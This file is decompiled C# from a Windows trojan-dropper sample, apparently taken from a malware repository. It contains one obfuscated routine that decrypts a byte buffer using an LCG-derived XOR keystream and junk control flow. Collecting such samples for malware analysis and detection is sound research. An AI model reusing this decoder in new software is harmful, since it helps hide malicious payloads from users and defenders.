// Decompiled with JetBrains decompiler
// Type:  
// Assembly: ss20, Version=1.1.1.1, Culture=neutral, PublicKeyToken=null
// MVID: 4385E1A7-2FA8-4895-8952-90E8ECDFEF6F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Dapato.awrl-32c3dc21d69dcf58806a205f7919ff769fda4c1659e61dc7d2c60838850ea6d5.exe

internal static class \u0002\u2000
{
  public static byte[] \u0002(byte[] _param0, byte[] _param1)
  {
    int num1 = (int) _param0[1];
    if (true)
      goto label_9;
label_1:
    int length = _param1.Length;
    if (true)
      goto label_10;
label_2:
    int num2;
    byte num3;
    int num4 = (int) (byte) (num2 + 11 ^ (int) num3 + 7);
    if (true)
      goto label_11;
label_3:
    byte num5;
    uint num6 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num5 << 3));
    ushort num7 = 0;
    for (int index = 0; index < num2; ++index)
    {
      if ((index & 1) == 0)
      {
        num6 = (uint) ((int) num6 * 214013 + 2531011);
        num7 = (ushort) (num6 >> 16);
      }
      byte num8 = (byte) num7;
      num7 >>= 8;
      byte num9 = _param1[index];
      _param1[index] = (byte) ((uint) ((int) num9 ^ (int) num3 ^ (int) num5 + 3) ^ (uint) num8);
      num5 = num9;
    }
    return _param1;
label_11:
    num5 = (byte) num4;
    goto label_3;
label_10:
    num2 = length;
    goto label_2;
label_9:
    num3 = (byte) num1;
    goto label_1;
  }
}